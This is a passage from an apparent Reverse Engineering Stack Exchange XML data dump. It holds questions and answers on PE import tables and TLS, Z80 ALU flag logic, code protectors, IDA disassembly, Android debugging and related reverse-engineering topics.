twice&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have another doubt regarding the TLS directory in the PE Structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is the TLS directory/Table which is present in the &lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt; of the PE, present only when the exe/program uses implicit TLS&lt;/strong&gt; (i.e. &lt;code&gt;__declspec(thread)&lt;/code&gt;) and not when we use API(i.e. explicit TLS using functions like &lt;code&gt;TlsAlloc&lt;/code&gt;, &lt;code&gt;TlsFree&lt;/code&gt;, &lt;code&gt;TlsSetValue&lt;/code&gt; and &lt;code&gt;TlsGetValue&lt;/code&gt; etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it common for program's to use this? I have read it in many places that this can be a heuristic for malicious executable.&lt;/p&gt;&#xA;" OwnerUserId="11879" LastEditorUserId="1413" LastEditDate="2015-04-24T19:16:21.183" LastActivityDate="2015-04-24T19:16:21.183" Title="Why does an exe's import Table have two refrences to kernel32.dll (or any other dll)?" Tags="|windows|x86|malware|pe|security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8750" PostTypeId="2" ParentId="8526" CreationDate="2015-04-23T09:41:15.340" Score="4" Body="&lt;p&gt;I checked the newest firmware of WNR1000v3 and I could extract &lt;code&gt;/etc&lt;/code&gt; and &lt;code&gt;/www&lt;/code&gt; folders without any problem using binwalk v2.0.0.&lt;p&gt;&#xA;You can get a lot of useful information about the whole system if you download the GPL codes &lt;a href=&quot;http://kb.netgear.com/app/answers/detail/a_id/2649/~/netgear---open-source-code-for-programmers-(gpl)&quot; rel=&quot;nofollow&quot;&gt;http://kb.netgear.com/app/answers/detail/a_id/2649/~/netgear---open-source-code-for-programmers-(gpl)&lt;/a&gt;.&lt;br&gt;&#xA;As I see from the GPL code, the router starts with the &lt;code&gt;/sbin/rc&lt;/code&gt; file, which initializes the mounts, networks, etc and starts services. The tmp folder is generally a ramfs, which is mounted from rc with the following line:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mount(&quot;ramfs&quot;, &quot;/tmp&quot;, &quot;ramfs&quot;, MS_MGC_VAL, NULL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2015-04-23T09:41:15.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8751" PostTypeId="5" CreationDate="2015-04-23T22:16:52.857" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-04-23T22:16:52.857" LastActivityDate="2015-04-23T22:16:52.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8752" PostTypeId="4" CreationDate="2015-04-23T22:16:52.857" Score="0" Body="A multi-paradigm programming language encompassing strong typing, imperative, declarative, functional, generic, object-oriented (class-based), and component-oriented programming disciplines " OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-04-23T22:16:52.857" LastActivityDate="2015-04-23T22:16:52.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8753" PostTypeId="5" CreationDate="2015-04-23T22:20:34.280" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-04-23T22:20:34.280" LastActivityDate="2015-04-23T22:20:34.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8754" PostTypeId="4" CreationDate="2015-04-23T22:20:34.280" Score="0" Body=" An surjective function that maps a set of keys to a smaller data sets of a fixed length. Cryptographic hash-function are supposed to be practically impossible to reverse except by brute-force." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-04-23T22:20:34.280" LastActivityDate="2015-04-23T22:20:34.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8755" PostTypeId="1" AcceptedAnswerId="8773" CreationDate="2015-04-24T02:09:32.750" Score="8" ViewCount="1337" Body="&lt;p&gt;Z80 was a popular 8-bit processor with a 4-bit ALU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5tueN.png&quot; alt=&quot;Z80 ALU&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implementing a zero flag for a register should be straight forward, it would be a logical &lt;code&gt;NOR&lt;/code&gt; of all the bits on the register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RG7f4.png&quot; alt=&quot;Gigantic NOR&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like that would work for a small number of inputs. As for a 64-bit processor you cannot make one gigantic &lt;code&gt;NOR&lt;/code&gt; gate with 64 inputs. The fan-in would be too high. 8 transistors would be in series. The circuit capacitance would be high thus slowing down everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see some other options.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The zero flag could be generated directly from the 8-bit result using 2 level logic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tLlMR.png&quot; alt=&quot;two level logic&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OOodj.png&quot; alt=&quot;two level logic&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The zero flag could be generated directly from the 8-bit result using 3 level logic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2xBFt.png&quot; alt=&quot;three level logic&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The zero flag could be generated from each nibble and then put together, like if there was a &quot;half&quot;-zero flag. The result for the lower would be saved using a flip-flop while waiting for the high nibble result to be calculated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/anAW5.png&quot; alt=&quot;Nibble&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.righto.com/2013/09/the-z-80-has-4-bit-alu-heres-how-it.html&quot; rel=&quot;noreferrer&quot;&gt;Ken Shirriff&lt;/a&gt; wrote a nice article about reverse engineering the Z80 ALU. However when it comes to the zero flag he states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not shown in the block diagram are the simple circuits to compute parity, &lt;strong&gt;test for zero&lt;/strong&gt;, and check if a 4-bit value is less than 10. These values are used to set the condition flags.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, although they are simple circuits I would like to know exactly how they were implemented and if they used any of the implementations proposed above or something else completely different.&lt;/p&gt;&#xA;" OwnerUserId="12340" LastEditorUserId="12340" LastEditDate="2015-04-27T20:25:36.690" LastActivityDate="2016-06-08T11:55:42.877" Title="How was the Zero Flag implemented on Z80 ALU?" Tags="|hardware|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="8756" PostTypeId="1" AcceptedAnswerId="8757" CreationDate="2015-04-24T04:25:17.073" Score="2" ViewCount="4122" Body="&lt;p&gt;I am new to reverse engineering and file protections. I have made a trading algorithm for Tradestation that I have put into a C++ DLL instead of having the source laying around, and I want to protect it further from reverse engineering. Is there something stronger than Themida out there?&lt;/p&gt;&#xA;" OwnerUserId="12342" LastActivityDate="2015-04-24T07:00:15.300" Title="Stronger than Themida?" Tags="|decompilation|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8757" PostTypeId="2" ParentId="8756" CreationDate="2015-04-24T06:24:24.697" Score="8" Body="&lt;p&gt;You might want to review an answer I provided before &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/118&quot;&gt;over here&lt;/a&gt;. Themida and CodeVirtualizer are fine. If you want something stronger you should keep your code on a server or run it on a dedicated hardware dongle intended for copy protection. Make sure the dongle is one that actually runs your algorithms and doesn't just encrypt some parts of the code and run it on the PC side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware though that all they do is increase the amount of motivation an adversary needs in order to find out how your stuff works. I would examine what the value of your secrets really are. The best something like CodeVirtualizer and Themida can achieve is to create the equivalent of a black box. However it will always be possible to probe your black box with different inputs and observe the outputs. So in best case your protected code will be equivalent to keeping your code running on a server, only accessible offline. If offline is a requirement you're stuck with these sorts of solutions, either something commercial off the shelf or something homegrown. Otherwise I would strong recommending centralizing as much as possible of your algorithms on a server. Why not make your DLL for Tradestation a thin wrapper around a web API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trading algorithms, if effective, can definitely fall under something that would be valuable enough to protect on a server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the issue of mistranslations where CodeVirtualizer or Themida does an incorrect translation of the machine instructions into their own VM instructions which could lead to bugs. Are you willing to accept an incorrect trade and possibly holding a bad position due to translation bugs in the translation engine of Themida, VMProtect or whatever you choose to use?&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2015-04-24T07:00:15.300" LastActivityDate="2015-04-24T07:00:15.300" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8758" PostTypeId="1" AcceptedAnswerId="8759" CreationDate="2015-04-24T10:57:39.527" Score="1" ViewCount="120" Body="&lt;p&gt;I know how to find and hook virtual methods by crawling an object's RTTI.  I cannot find enough information about non-virtual class methods. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there anyway to identify non-virtual class methods at run-time?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I use a class's symbol name to recover any information about it at run-time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12276" LastActivityDate="2015-04-24T11:40:19.000" Title="How can I recover / locate non-virtual class methods at run-time?" Tags="|disassembly|c++|dynamic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8759" PostTypeId="2" ParentId="8758" CreationDate="2015-04-24T11:40:19.000" Score="2" Body="&lt;p&gt;There's no sure-proof way to do it. Non-virtual methods look exactly like normal functions except they take an implicit 'this' pointer. If you are dealing with visual C++ compiled program then it will probably be a bit more obvious as usually it uses &lt;strong&gt;thiscall&lt;/strong&gt; calling convention so you just need to watch for cases when the instance address is in ecx at function entry. See &lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot; rel=&quot;nofollow&quot;&gt;my article&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you have symbols then it's very easy - just check for &lt;code&gt;classname::&lt;/code&gt; prefix in the demangled function name.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-04-24T11:40:19.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8760" PostTypeId="1" AcceptedAnswerId="8763" CreationDate="2015-04-24T11:46:44.207" Score="6" ViewCount="1494" Body="&lt;p&gt;In windows PE files (32 and 64 bit) calls to imported functions look like this in IDA PRO:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    ds:SetEvent              // default setting&#xA;call    [ds:SetEvent]            // Target Assembler set to TASM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand what it does (indirect call, import table, ...) but what I do not understand:&#xA;Why is IDA adding the &lt;code&gt;ds:&lt;/code&gt; in front of the function name?&#xA;I checked the opcode, it is &lt;code&gt;FF 15&lt;/code&gt; meaning a &lt;em&gt;near&lt;/em&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am right to assume that the &lt;code&gt;ds&lt;/code&gt; is a segment register, there is no need to specify it as a near call means a call of a function inside the same segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain why IDA is adding the &lt;code&gt;ds:&lt;/code&gt; anyway and what it is good for?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="11830" LastEditDate="2016-12-09T17:49:14.003" LastActivityDate="2016-12-09T17:49:14.003" Title="Call to an imported function in a PE file: Why is destination prepended with ds (call ds:func_name)?" Tags="|ida|disassembly|assembly|disassemblers|segmentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8762" PostTypeId="1" CreationDate="2015-04-24T13:33:52.113" Score="5" ViewCount="1922" Body="&lt;p&gt;I am trying to find a function that places a furniture on the ground when I buy it and click the spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the way I am trying to do solve it at the moment.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the address of money with cheat engine&lt;/li&gt;&#xA;&lt;li&gt;See which areas write to this address&lt;/li&gt;&#xA;&lt;li&gt;Backtrack the function calls and set breakpoints&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I managed to backtrack the calls enough that the breakpoint doesn't anymore trigger by selling the item back but only by placing it on the ground. By looking at the arguments I determined that this is still not the function I am looking for as the arguments don't change according to what item I place on the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to backtrack more but then I ended up in a function that seems to be part of the main game loop(?) as it is run constantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any better method in achieving this, or is it just blind testing and backtracking as I have done? I usually work by searching the addresses with cheat engine and then switching to ollydbg to do the tracking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also been trying to find the functions that triggers when I press certain buttons but it's been really hard to even find an entry point for this, how should I try to proceed? &lt;/p&gt;&#xA;" OwnerUserId="12348" LastEditorUserId="12348" LastEditDate="2015-04-24T17:12:47.720" LastActivityDate="2016-07-09T21:08:45.563" Title="Finding a certain function in game(TS4)" Tags="|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8763" PostTypeId="2" ParentId="8760" CreationDate="2015-04-24T15:50:12.653" Score="9" Body="&lt;p&gt;The FF 15 is an absolute indirect call.  It is fetching the value at a memory location, and then transferring control to the fetched address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to specify that memory location precisely, the CPU needs both the segment register and the address.  In the absence of an explicit request (2E for CS, for example), or a mode which has an implicit override (use of EBP selects SS:), DS: is used.  Despite Windows using a flat memory model, nothing prevents the segment registers from having other values assigned to them: 32-bit Windows supports Local Descriptor Table entries, for example, and there are tricks where DS: is given the value of FS:, to perform non-obvious SEH registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA displays the segment register to remove any ambiguity as to which segment register is in use.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-04-24T15:50:12.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8764" PostTypeId="2" ParentId="8749" CreationDate="2015-04-24T16:06:44.887" Score="3" Body="&lt;p&gt;The import table can theoretically have as many references to a DLL as there are imports.  It is a function of the linker that produces this effect, and in some cases, the linker does not perform any kind of string pooling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Borland products treat units as stand-alone objects, so any imported functions that are used are included without reference to any others.  The effect is a DLL name, a group of imports for that DLL for the first unit; a DLL name (which might be duplicated), a group of imports for that DLL for the second unit (any or all of which might also be duplicated from the first group); and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as TLS goes, the TLS directory entry is present only when the program uses EXplicit TLS.  i.e. it declares a static TLS entry that the linker can see, and which Windows must initialise when the program first starts (because the program might use it immediately).  The use of dynamic TLS (TlsAlloc, TlsFree) is entirely within program control, and the program is required to perform the initialisation itself.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-04-24T16:06:44.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8765" PostTypeId="1" CreationDate="2015-04-25T20:12:28.983" Score="4" ViewCount="18513" Body="&lt;p&gt;I am trying to decompile a Android ARM native binary using Hex-Rays IDA Pro. IDA detects the possible formats as &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ELF for ARM (Shared object)&lt;/li&gt;&#xA;&lt;li&gt;Binary file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I choose ELF for ARM (Shared object), then it correctly decompiles and detect most of the standard functions like tan/sin/cos etc. But when I try to run the remote android debugger, I am getting the alert messages&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Input file is a dynamic library, it cannot be run by itself. Please specify the host application.&lt;/li&gt;&#xA;&lt;li&gt;The file can't be loaded by the debugger plugin. Please verify that the parameters are valid.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I select Binary file, then it is not decompiling correctly. Also remote android debugger option is not listed in debuggers list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to execute the binary file directly on an Android ARM emulator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? How can I debug a ELF for ARM binary executable file with IDA pro?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I have already tried with &lt;code&gt;android_server&lt;/code&gt; running on an AVD and a physical device. When I try to connect [ELF for ARM (Shared object)], I can see the following output in &lt;code&gt;android_server&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;=========================================================&#xA;[7] Accepting connection from 127.0.0.1...&#xA;[7] Closing connection from 127.0.0.1...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are all ARM binary executables detected as shared object? Or is my executable file being misidentified as a &lt;code&gt;.so&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="12360" LastEditorUserId="12360" LastEditDate="2015-04-25T21:26:43.587" LastActivityDate="2017-12-02T10:10:34.587" Title="Decompile ARM native binary - IDA Pro detects file as Shared Object" Tags="|ida|android|arm|decompile|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8766" PostTypeId="2" ParentId="8765" CreationDate="2015-04-25T21:06:32.477" Score="4" Body="&lt;p&gt;You'll need to create an Android Virtual Device, copy your ELF program and &lt;code&gt;&amp;lt;IDA directory&amp;gt;\dbgsrv\android_server&lt;/code&gt; to the virtual device, and run &lt;code&gt;android_server&lt;/code&gt; on the virtual device. You can then use IDA to debug the ELF file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two pages with detailed instructions on how to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/guide-debugging-android-binaries/&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Guide to Debugging Android Binaries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.trustwave.com/Resources/SpiderLabs-Blog/Debugging-Android-Libraries-using-IDA/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debugging Android Libraries using IDA&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5STaE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-04-25T21:06:32.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8767" PostTypeId="1" CreationDate="2015-04-26T07:38:50.880" Score="1" ViewCount="84" Body="&lt;p&gt;I want to add missing functionality to a web app's front end code JavaScript code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can find the code in the browser's developer tools by setting breakpoints and stepping through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in a large app with lots of modules, obfuscated or at least minified code, and layers of self-executing anonymous functions, how do I then begin to intercept / hook / patch the function I want from a user script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking through the call stack and closure hierarchy doesn't seem to tell me everything I need.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2015-04-26T15:26:42.660" LastActivityDate="2015-04-26T15:26:42.660" Title="Where to identify and access the main object/closure in a JavaScript web app?" Tags="|obfuscation|javascript|patching|websites|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8768" PostTypeId="1" CreationDate="2015-04-26T12:14:39.153" Score="0" ViewCount="1517" Body="&lt;p&gt;I just can't figure out how to disassemble an &lt;code&gt;.exe&lt;/code&gt; file using &lt;a href=&quot;http://metasm.cr0.org/&quot; rel=&quot;nofollow&quot;&gt;metasm&lt;/a&gt;. As far as I know the command should look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ruby disassemble.rb [path-to-my-exe-file] &amp;gt; [path-to-output.asm]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, that's not quite the thing.&lt;/p&gt;&#xA;" OwnerUserId="12366" LastEditorUserId="1485" LastEditDate="2015-11-22T19:29:05.817" LastActivityDate="2015-11-22T19:29:05.817" Title="How to disassemble using metasm?" Tags="|disassembly|tools|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8769" PostTypeId="2" ParentId="8768" CreationDate="2015-04-26T13:29:38.047" Score="1" Body="&lt;p&gt;The solution is quite easy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ruby disassemble.rb [path-to-my-exe-file] &amp;gt; [path-to-output.asm]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is totally fine. I didn't copy &lt;code&gt;metasm.rb&lt;/code&gt; and the &lt;code&gt;metasm&lt;/code&gt; subfolder to the &lt;code&gt;[ruby_dir]/lib/ruby/[version_number]/&lt;/code&gt; directory.&lt;/p&gt;&#xA;" OwnerUserId="12366" LastEditorUserId="53" LastEditDate="2015-04-26T14:34:46.230" LastActivityDate="2015-04-26T14:34:46.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8770" PostTypeId="1" CreationDate="2015-04-27T08:31:47.407" Score="2" ViewCount="1221" Body="&lt;p&gt;I wrote a simple C++ code and compiled it in VS 2013. I am trying to understand what happen after return 0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(){&#xA;...&#xA;    return 0;&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The assembly code of return 0, translates to the xor eax, eax&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;011F1B19  xor         eax,eax  &#xA;}&#xA;011F1B1B  pop         ebp  &#xA;011F1B1C  ret  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After ret, it jumps to 011F121A&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;011F1203  push        dword ptr ds:[11F3034h]  &#xA;011F1209  push        dword ptr ds:[11F3030h]  &#xA;011F120F  push        dword ptr ds:[11F302Ch]  &#xA;011F1215  call        main (011F1B00h)  &#xA;011F121A  add         esp,0Ch  &#xA;011F121D  mov         dword ptr ds:[011F3024h],eax  &#xA;011F1222  cmp         dword ptr ds:[11F3028h],0&#xA;011F1229  jne         __tmainCRTStartup+144h (011F1261h)&#xA;#ifndef _CRT_APP&#xA;                exit(mainret);&#xA;011F122B  push        eax  &#xA;011F122C  call        dword ptr ds:[11F2078h]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why does the return translates to xor eax, eax?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why does the function dereference ptr in ds segments at 011F121D and 011F1222 and 011F122C?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4216" LastActivityDate="2015-04-27T10:05:00.137" Title="What does the function do while it returns 0?" Tags="|windows|c++|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8771" PostTypeId="2" ParentId="8770" CreationDate="2015-04-27T09:57:59.683" Score="6" Body="&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the fastest way to zero a register. You will see this &lt;em&gt;everywhere&lt;/em&gt; on x86. All x86 ABIs specify that an integer return value is placed in the &lt;code&gt;eax&lt;/code&gt; register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ds&lt;/code&gt; is the default segment for most memory accesses. Your disassembler is just being explicit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with the specifics on Windows, but basically the C runtime stub compiled into your program will take the return value from main, and pass it to a system call to exit the process. (Returning from &lt;code&gt;main&lt;/code&gt; is equivalent to calling &lt;code&gt;exit&lt;/code&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="1655" LastEditDate="2015-04-27T10:03:21.267" LastActivityDate="2015-04-27T10:03:21.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8772" PostTypeId="2" ParentId="8770" CreationDate="2015-04-27T10:02:06.607" Score="2" Body="&lt;p&gt;The xor reason is obvious. the return value.&#xA;when using c++ in x86/64 land the return value of functions stores in EAX register before return.&#xA;because you wrote &quot;return 0&quot; the value of eax must be 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;opcode: b8 00 00 00 00&lt;/code&gt;&#xA;&lt;code&gt;asm:mov eax, 0*&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the optimizer make better choice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;opcode: 31 c0&lt;/code&gt;&#xA;&lt;code&gt;asm: xor eax, eax&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the result is equal eax = 0 with optimization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;about the &quot;&lt;em&gt;011F3024h&lt;/em&gt;&quot;, since OS must take care of return value of each program, it must save your return address for later use. this is it ( for simple answer )&#xA;for more detailed answer read RE of __tmainCRTStartup&lt;/p&gt;&#xA;" OwnerUserId="12323" LastEditorUserId="12323" LastEditDate="2015-04-27T10:05:00.137" LastActivityDate="2015-04-27T10:05:00.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8773" PostTypeId="2" ParentId="8755" CreationDate="2015-04-27T14:32:27.647" Score="13" Body="&lt;p&gt;&lt;strong&gt;Well if you want to know how it was done exactly&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then download the &lt;strong&gt;Z80 die shot&lt;/strong&gt; of model you want to investigate, crop the &lt;strong&gt;ALU&lt;/strong&gt; part and identify all the gates you can until you dig to &lt;strong&gt;Zero flag&lt;/strong&gt; your self (sorry for indirect answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here my Z80 ALU post processed die shot&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkIpx.png&quot; alt=&quot;Z80 ALU&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;white - metal&lt;/li&gt;&#xA;&lt;li&gt;green - poly-Si&lt;/li&gt;&#xA;&lt;li&gt;red   - dopped-Si (diffusion)&lt;/li&gt;&#xA;&lt;li&gt;Gray  - conductive joints between layers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Try to identify all gates and buses you can (and mark them to the image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ORk25.png&quot; alt=&quot;Z80 ALU labeled&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When found familiar structure like &lt;strong&gt;Wire OR, (N)OR&lt;/strong&gt; cascade, ... then you will know for sure. Just try to find the basic components like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yZf5a.png&quot; alt=&quot;Components&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;form the circuit schematics and make some sense of it.&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2016-06-08T11:55:42.877" LastActivityDate="2016-06-08T11:55:42.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8775" PostTypeId="1" CreationDate="2015-04-27T16:22:41.763" Score="1" ViewCount="691" Body="&lt;p&gt;Been trying at this for over a week, and I'm able to modify the needed sections, however I'm running into a major issue while trying to recompile the APK that is making the whole task atrocious. So I've sucked up my pride and am asking for help from other people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been tasked with RE'ing an android app that has been giving me issues. To date, I've been able to decompile and recompile the app into an &quot;almost working&quot; apk. Without modifying anything, recompiling the app is fine, but when I try to run it on the AVM or an actual test device, it crashes repeatedly with a stack trace due to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2173-2173/com.[removed].[removed] E/[removed]﹕ java.lang.UnsatisfiedLinkError: Native method not found: 